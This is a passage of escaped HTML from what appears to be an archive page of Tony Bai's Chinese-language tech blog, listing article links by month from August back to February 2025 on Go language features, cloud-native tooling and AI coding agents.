href=\"https://tonybai.com/2025/08/13/bit-manipulation-in-go\"\u003e二进制的“魔术”：每个Go程序员都应掌握的位操作艺术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/12/go-identity-crisis/\"\u003eGo 的“身份危机”：当新 Gopher 试图将它变成他们最爱的语言\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/11/why-go-not-embrace-iouring/\"\u003e为何Go语言迟迟未能拥抱 io_uring？揭秘集成的三大核心困境\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/10/debugging-incidents-in-google/\"\u003eGoogle 揭秘生产环境调试心法：SRE 与 SWE 的四大思维差异与实战路径\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/09/true-streaming-support-in-jsonv2/\"\u003eGo json/v2实战：告别内存爆炸，掌握真流式Marshal和Unmarshal\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/08/go-tui-primer/\"\u003e想用Go复刻“Claude Code”？那你得先补上TUI这一课\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/07/fork-go-module/\"\u003eGo模块的“分叉之痛”：一个提案能否终结“全局替换”的噩梦？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/06/blitzkrieg-vs-attrition-in-ai-age/\"\u003e警惕 AI 效率神话：你是“闪电战”的独立开发者，还是“持久战”的工程师？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/06/go-new-engine-of-old-languages/\"\u003eGo语言正在成为“老旧”生态的“新引擎”？从 FrankenPHP 和新版 TypeScript 编译器谈起\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/05/the-voice-of-k8s-experts-report-2025/\"\u003e后VMware时代：为什么Kubernetes正在成为VM的新家？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/05/go-concurrency-mental-model/\"\u003e从“锁”到“channel”：开启你的Go并发心智模型转变之旅\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/04/continuous-profiling-fourth-pillar/\"\u003e持续性能分析正在成为继Metrics、Logs 和 Traces之后，可观测性的“第四大支柱”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/03/choose-boring-technology/\"\u003eAI 正在放大技术选型的风险：为什么我们更应该“选择无聊的技术”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/02/proposal-http3/\"\u003eGo官方 HTTP/3 实现终迎曙光：x/net/http3 提案启动，QUIC 基础已就位\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/08/01/proposal-purego/\"\u003epurego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202507\"\u003e2025.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/31/periodic-table-of-system-design/\"\u003e系统设计的“元素周期表”：40个横跨所有领域的通用设计原则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/30/six-principles-production-ai-agents/\"\u003e你的 AI Agent 为何总“犯傻”？构建生产级 Agent 所需的6大工程原则\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/29/slog-multihandler/\"\u003eslog 如何同时输出到控制台和文件？MultiHandler 提案或将终结重复造轮子\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/28/go-fix-reborn/\"\u003eGo fix 命令将迎“重生”：移除过时功能，为集成现代化代码分析器铺平道路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry/\"\u003ePrometheus 联合创始人的警告：在使用 OpenTelemetry 生成 Metrics 前请三思！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics/\"\u003e为什么 VictoriaMetrics 正在替换 Prometheus？一次大规模可观测性迁移实录\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/25/how-anthropic-teams-use-claude-code/\"\u003eAnthropic内部实践首次公开：揭秘Claude Code如何引爆全员生产力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/25/writing-is-thinking/\"\u003e写作即思考：AI 时代，开发者为什么要警惕“思考外包”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/25/go-vs-rust-vs-cpp-in-complexity/\"\u003eGo vs. Rust vs. C++：从语言规范长度看三种不同的“复杂性”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/24/go-at-american-express-today/\"\u003e美国运通复盘Go语言实践：从依赖管理到并发模型，七大经验教训全解析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/24/deadlock-detection-by-gc/\"\u003eGoroutine泄漏防不胜防？Go GC或将可以检测“部分死锁”，已在Uber生产环境验证\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/23/uber-perfinsights/\"\u003eUber性能优化实践：如何用 GenAI 将 Go 代码调优从数周缩短至数小时？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/23/go-surge-in-popularity/\"\u003e不止是云原生：为什么 Go 的热度在持续上升？来自社区的真实声音\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/22/cedardb-choose-cpp-rather-than-rust/\"\u003eRust 的安全神话？数据库 CEO 为何在关键系统中仍选 C++\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/22/go-swiss-table-map-user-report/\"\u003eGo 1.24用户报告：Datadog如何借助 Swiss Tables版map节省数百 GB 内存？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/21/go-crypto-101/\"\u003e解密 Go 安全核心：7 步掌握现代密码学工程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/20/mitchell-hashimoto-agentic-engineering/\"\u003eHashiCorp创始人Mitchell Hashimoto 的 Agentic Engineering 实战心法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/19/go-understand-the-zen-of-python-better-than-python/\"\u003eGo 比 Python 更懂“Python 之禅”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/16/when-spaghetti-code-knocks/\"\u003e一张图读懂Go的生存之道：当“面条代码”来敲门\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/15/the-agentic-software-engineer/\"\u003eAI 正在重写“软件工程师”的岗位描述：未来你需要这 6 项核心技能\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/14/writing-style-guide/\"\u003e代码之外的必修课：顶级技术文档风格指南如何提升你的工程效率\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/12/insanely-productive-in-go/\"\u003eGo 的“无聊”超能力：为什么“选项更少”反而让你更快？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/11/net-http-pprof-v2/\"\u003eGo pprof 迎来重大革新：v2 提案详解，告别默认注册，拥抱飞行记录器\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/10/stop-building-ai-agents/\"\u003e停止构建AI Agent！这里有5个更简单的LLM工作流模式，能解决90%的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/10/mcp-official-go-sdk/\"\u003e上手MCP官方Go SDK：一份面向实战的入门指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/09/gemini-cli-starting-guide/\"\u003e你的命令行，即将迎来一场“AI 革命”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/08/typed-struct-tags/\"\u003e告别字符串魔法：Go 迎来类型化 Struct Tag 提案，编译期安全触手可及？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/07/go-module-supply-chain-attack-case/\"\u003e“先发布，后审核”：Go模块生态的阿喀琉斯之踵？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/05/agentic-coding-is-the-future/\"\u003e拥抱Agentic Coding：软件开发的未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/05/go-is-8020-language/\"\u003e读懂Go的设计哲学：为什么说它是“恰到好处”的80/20语言？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/04/slm-is-the-future-of-agentic-ai/\"\u003eNVIDIA 的颠覆性观点：AI Agent 的未来，属于小模型 (SLM)\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/04/everything-i-did-to-become-an-expert-in-golang/\"\u003eTwitch工程师的Go进阶之路：为何你写的Go代码，总感觉“不对劲”？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/03/meet-the-go-team-2012/\"\u003eGo考古：创始人亲述Go语言的“创世纪”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/02/vibe-specs/\"\u003e别再直接让 AI 写代码了！试试这个“Vibe Specs”模式，效率提升60%\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202506\"\u003e2025.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/07/01/predicting-the-future-of-distributed-systems/\"\u003e特斯拉首席工程师的忠告：用“单向门 vs 双向门”决策，看清分布式系统的未来\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/29/thinking-parallel-programming/\"\u003eGo并行编程的“第一性原理”：Guy Steele 教你如何“不去想”并行\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/27/from-java-to-go/\"\u003eGopher视角：Java开发者转向Go时，最需要“掰过来”的几个习惯\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/26/non-deterministic-abstraction/\"\u003eMartin Fowler最新洞察：LLM 不止是“更高”的抽象，它正在改变编程的“本质”！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/24/grab-rewrote-go-service-in-rust/\"\u003eGo vs. Rust再掀波澜：Grab真实案例复盘，Gopher如何看待这场“效率与代价”之争？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/22/unexpected-security-footguns-in-go-parsers/\"\u003eGo 解析器的“隐秘角落”：encoding/json 的安全陷阱与 JSONv2 的救赎\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/21/kubernetes-2-0/\"\u003eKubernetes 2.0 畅想：告别 YAML、etcd 束缚与 Helm 之痛，K8s 的下一站是什么？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/20/redmonk-index-2025-jan/\"\u003eRedMonk最新排行出炉：Go语言稳居Top 12，AI 冲击下 Stack Overflow 权重生变？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/20/about-errors-join/\"\u003eGo errors.Join：是“天赐之物”还是“潘多拉魔盒”？——深入错误聚合的适用场景与最佳实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/18/inside-goroutine-scheduler-column/\"\u003e解构Go并发之核，与Dmitry Vyukov共探Go调度艺术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/17/rider-elephant-arch/\"\u003e“骑手与大象”架构：超越微服务与单体之争的务实之道？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/15/rust-vs-go-2025/\"\u003eGo还是Rust？2025年技术选型之辩\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/14/go-1-25-foresight/\"\u003eGo 1.25新特性前瞻：GC提速，容器更“懂”Go，json有v2了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/12/grog-brain-heaven/\"\u003e爽就完了！Go语言的“简单之美”为何让开发者直呼过瘾？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/11/the-gentle-singularity/\"\u003eSam Altman的“温和奇点”已至：我们真的越过了AI的“事件视界”吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/09/go-simd-intrinsics/\"\u003e告别手写汇编：Go官方提出原生SIMD支持，高性能计算将迎来巨变\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/07/nucleus-embryo/\"\u003e“Rustacean”胚胎 vs “Gopher”胚胎：假如用技术栈测“人格”，你会是哪一款？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/07/allow-serving-module-under-subdir\"\u003e千呼万唤始出来？Go 1.25解决Git仓库子目录作为模块根路径难题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/06/go-monorepo/\"\u003eGo项目该拥抱Monorepo吗？Google经验、etcd模式及白盒交付场景下的深度剖析\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/04/error-syntax/\"\u003eGo 错误处理语法之争尘埃落定？Go 团队为何十五年探索后仍选择“不”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/03/provocation-about-ai-assisted-programming/\"\u003eAI 编码工具“真香”还是“智商税”？一位资深码农的“挑衅”与Go开发者的反思\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/06/03/lightweight-anonymous-func-syntax/\"\u003eGo的简洁性之辩：轻量级匿名函数提案为何七年悬而未决？\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202505\"\u003e2025.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/31/six-smells-in-go/\"\u003e“这代码迟早出事！”——复盘线上问题：六个让你头痛的Go编码坏味道\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/30/gopher-girlfriend/\"\u003e当Gopher拥有了“Go语言女友”：一张图带你读懂Go的那些“可爱”特性\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/29/xiter-declined\"\u003eGo x/exp/xiter提案搁浅背后：社区的选择与深度思考\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/26/monitor-design-with-red/\"\u003e云原生时代，如何用RED三板斧搞定服务监控？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/25/go-at-googleio-2025/\"\u003eGoogle I/O 2025 Go 语言进展：生产力、生产就绪与 AI 赋能\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/23/go-api-design-mcp-sdk/\"\u003eAPI设计的“Go境界”：Go团队设计MCP SDK过程中的取舍与思考\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/22/go-mod-ignore-directive/\"\u003eGo工具链进化：go.mod新增ignore指令，破解混合项目构建难题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/22/go-sbom-practice/\"\u003e透视软件供应链安全：SBOM标准解读与Go项目生成指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/21/go-crypto-audit/\"\u003e权威认证：Go核心密码学库通过独立安全审计\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go/\"\u003e未雨绸缪：Go开发者需要了解的后量子密码学与实现现状\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/19/shardedvalue-per-cpu-proposal/\"\u003e原子操作的瓶颈与Go的多核扩展性之痛：深入剖析sync.ShardedValue及per-CPU提案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/17/java-at-30/\"\u003eJava屹立30年，Go的“少年壮志”如何续写辉煌？——来自Java之父的“长寿秘诀”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/16/energy-savings-if-abandon-https/\"\u003e思想实验：如果全球网站一夜之间弃用HTTPS，能为地球节省多少电？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/16/how-rune-came/\"\u003e揭秘Go语言中的rune：一段跨越30年的Plan 9往事与UTF-8的诞生传奇\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/15/go-json-v2/\"\u003e手把手带你玩转GOEXPERIMENT=jsonv2：Go下一代JSON库初探\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/14/which-go-router-should-i-use/\"\u003e从Go路由选择看“标准库优先”：何时坚守？何时拓展？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/13/goos-none-proposal/\"\u003eGo运行时底层接口标准化？“GOOS=none”欲为Go铺设通往裸金属、固件和微控制器的桥梁\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/13/go-prefer-less-framework/\"\u003eGo社区的“轻框架”理念：自由的馈赠还是无形的枷锁？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/12/go-advanced-course/\"\u003e从线下到线上，我的“Go语言进阶课”终于在极客时间与大家见面了！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/11/ian-lance-taylor-leave-go/\"\u003eGo语言进入“后元老时代”？Ian Lance Taylor离职引发的思考：传承、创新与社区\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/11/deep-into-pkg-go-dev/\"\u003eGo包维护者必读：如何让你的Go包更易被发现、文档更专业？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/10/rust-dependencies-scare-me/\"\u003e百万行依赖的“恐惧”：一位Rust开发者的深度反思与Go的启示\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice/\"\u003eGitHub英语沟通太难？别让语言成为你参与顶级Go项目的拦路虎！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/08/go-dwarf5/\"\u003eGo 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/07/debug-with-diff-cover/\"\u003e代码覆盖率新玩法：Russ Cox教你用差异化分析加速Go调试\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/06/cheating-the-reaper-in-go/\"\u003e解读“Cheating the Reaper”：在Go中与GC共舞的Arena黑科技\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/05/03/go-green-tea-garbage-collector/\"\u003eGo新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202504\"\u003e2025.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling/\"\u003e“错误即值”，不同实现：Go与Zig错误处理哲学对比\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/29/hard-truths-before-switching-to-go/\"\u003eGo的简洁神话？转Go前你需要知道的5个“真相”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/28/five-cache-strategies/\"\u003eGo开发者必知：五大缓存策略详解与选型指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/28/go-ecosystem/\"\u003ego-yaml归档背后：Go开源生态的“脆弱”与“韧性”，我们该如何看待？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/27/rob-pike-on-bloat/\"\u003eRob Pike的“抱怨”与Go的“解药”：直面软件膨胀的四大根源\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/26/13-laws-of-software-engineering/\"\u003e【规律之手】资深码农都懂？软件工程中的13条“潜规则”定律\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/25/hidden-costs-of-go-value-receiver/\"\u003e一个字符引发的30%性能下降：Go值接收者的隐藏成本与优化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/24/conventional-commits-guide/\"\u003e拯救你的Commit Log：Conventional Commits实践指南\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/24/multiple-containers-pod-pattern/\"\u003eGo应用的K8s“最佳拍档”：何时以及如何用好多容器Pod模式\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/23/tips-for-reading-technical-books/\"\u003e世界读书日：如何高效阅读“砖头”技术书？我的心法分享\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/22/go-ai-knowledge-community-launch/\"\u003e不止Go，更是Go+AI：我的知识星球「Go \u0026amp; AI 精进营」全新启航！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/21/go-project-design-antipatterns/\"\u003eGo项目设计的“七宗罪”？警惕那些流行的“反模式”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/19/learn-go-in-ai-era/\"\u003eAI会写Go代码了，初学者还需要系统学习吗？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent/\"\u003e代码Agent没有护城河？我用Go标准库和DeepSeek证明给你看！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/17/go-is-badly-designed/\"\u003e“Go is badly designed”？它像极了我们当年恨过的物理老师！\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/17/standardize-the-hash-function/\"\u003e自定义Hash终迎标准化？Go提案maphash.Hasher接口设计解读\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/16/ai-protocol-prefer-jsonrpc/\"\u003eAI新宠？解读MCP、A2A为何偏爱JSON-RPC 2.0\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/15/embrace-modern-go-style-with-gopls-modernize/\"\u003e11个现代Go特性：用gopls/modernize让你的代码焕然一新\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/14/what-is-a2a-protocol/\"\u003e告别智能体孤岛：谷歌A2A协议能否成为企业AI协作的通用语？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/13/top-programmers-methods-mindset/\"\u003e揭秘顶尖技术专家的15个关键方法与心态，不只靠代码\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/11/uber-go-pgo-optimization/\"\u003eGo开发者必看！Uber如何利用PGO将Go服务性能优化推向新高度？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/10/jetbrains-2024-go-report-analysis/\"\u003eGo开发者必看！JetBrains 2024报告深度解读：Go语言现状、趋势与未来机遇\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/09/gomaxprocs-defaults-add-cgroup-aware/\"\u003eGo 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/07/go-testing-add-attr-and-artifactdir/\"\u003eGo testing包将迎来新增强：标准化属性与持久化构件API即将落地\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/04/03/waitgroup-go-proposal/\"\u003eWaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202503\"\u003e2025.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/31/openpubkey-ssh-open-source/\"\u003eGo安全版图再添利器：OpenPubkey SSH开源，用SSO彻底改变SSH认证\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/28/go-mod-verify-tag/\"\u003eGo模块发布流程再加固：go mod verify -tag提案详解\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/27/remove-coretypes-from-go-spec/\"\u003eGo 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/24/understand-methodname-scope/\"\u003eGo方法名的作用域：包级，但需间接调用\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/16/gemini-deep-research-experience/\"\u003e体验Gemini Deep Research：以Go语言未来演进方向分析为例\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/13/interview-with-anders-hejlsberg/\"\u003eAnders Hejlsberg专访全文：TypeScript正在向Go移植\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/12/typescript-native-port-to-go/\"\u003eAnders Hejlsberg谈TypeScript编译器向Go移植的实践与规划\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/11/building-effective-agents/\"\u003e构建高效的AI智能体\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/03/04/deep-dive-into-gocacheprog-custom-extensions-for-go-build-cache/\"\u003e深入GOCACHEPROG：Go构建缓存的自定义扩展\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"202502\"\u003e2025.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2025/02/16/some-changes-in-go-1-24/\"\u003eGo 1.24中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca 